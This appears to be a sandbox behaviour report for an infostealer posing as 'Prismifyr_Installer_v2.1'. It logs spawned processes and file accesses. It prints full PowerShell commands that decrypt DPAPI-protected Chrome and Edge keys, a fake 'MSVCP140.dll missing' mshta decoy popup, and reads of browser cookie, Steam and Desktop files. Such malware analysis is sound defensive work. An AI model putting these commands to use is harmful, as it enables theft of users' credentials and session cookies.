Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /fo csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe screenCapture_1.3.2.exe "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9E2A.tmp" "c:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "c:\users\user\appdata\local\programs\prismifyr_installer_v2.1\prismifyr_installer_v2.1.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\prismifyr_installer_v2.1" --gpu-preferences=uaaaaaaaaadgaaamaaaaaaaaaaaaaaaaaabgaaeaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaeaaaaaaaaaaiaaaaaaaaaagaaaaaaaaa --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=sparerendererforsiteperprocess,windelayspellcheckserviceinit,winretrievesuggestionsonlyondemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "c:\users\user\appdata\local\programs\prismifyr_installer_v2.1\prismifyr_installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\prismifyr_installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=sparerendererforsiteperprocess,windelayspellcheckserviceinit,winretrievesuggestionsonlyondemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "start /b cmd /c mshta "javascript:new activexobject('wscript.shell').popup('the program can not start because msvcp140.dll is missing from your computer. try reinstalling the program to fix this problem.', 0, 'error', 16);close()""
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "c:\users\user\appdata\local\programs\prismifyr_installer_v2.1\prismifyr_installer_v2.1.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\prismifyr_installer_v2.1" --gpu-preferences=uaaaaaaaaadgaaamaaaaaaaaaaaaaaaaaabgaaeaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaeaaaaaaaaaaiaaaaaaaaaagaaaaaaaaa --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=sparerendererforsiteperprocess,windelayspellcheckserviceinit,winretrievesuggestionsonlyondemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "c:\users\user\appdata\local\programs\prismifyr_installer_v2.1\prismifyr_installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\prismifyr_installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=sparerendererforsiteperprocess,windelayspellcheckserviceinit,winretrievesuggestionsonlyondemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "start /b cmd /c mshta "javascript:new activexobject('wscript.shell').popup('the program can not start because msvcp140.dll is missing from your computer. try reinstalling the program to fix this problem.', 0, 'error', 16);close()""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: ..\..\third_party\webrtc\modules\desktop_capture\win\window_capture_utils.ccFail to create instance of VirtualDesktopManagerChrome_WidgetWin_Progman..\..\third_party\webrtc\modules\desktop_capture\cropping_window_capturer.ccWindow no longer on top when ScreenCapturer finishesScreenCapturer failed to capture a frameWindow rect is emptyWindow is outside of the captured displaySysShadowWebRTC.DesktopCapture.Win.WindowGdiCapturerFrameTime..\..\third_party\webrtc\modules\desktop_capture\win\window_capturer_win_gdi.ccWindow hasn't been selected: Target window has been closed.Failed to get drawable window area: Failed to get window DC: Failed to create frame.Both PrintWindow() and BitBlt() failed.Capturing owned window failed (previous error/warning pertained to that)WindowCapturerWinGdi::CaptureFrameWebRTC.DesktopCapture.BlankFrameDetectedWebRTC.DesktopCapture.PrimaryCapturerSelectSourceErrorWebRTC.DesktopCapture.PrimaryCapturerErrorWebRTC.DesktopCapture.PrimaryCapturerPermanentErrordwmapi.dllDwmEnableComposition..\..\third_party\webrtc\modules\desktop_capture\win\screen_capturer_win_gdi.ccFailed to capture screen by GDI.WebRTC.DesktopCapture.Win.ScreenGdiCapturerFrameTimedesktop_dc_memory_dc_Failed to get screen rect.Failed to create frame buffer.Failed to select current bitmap into memery dc.BitBlt failedScreenCapturerWinGdi::CaptureFrame..\..\third_party\webrtc\modules\desktop_capture\win\cursor.ccwebrtc::CreateMouseCursorFromHCursorUnable to get cursor icon info. Error = Unable to get bitmap info. Error = Unable to get bitmap bits. Error = `

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1			Jump to behavior

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Videos VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Videos\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\BNAGMGSPLO.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\EEGWXUHVUG.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\Excel.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\GAOBCVIQIJ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\GAOBCVIQIJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\GIGIYTFFYT VolumeInformation	Jump to behavior
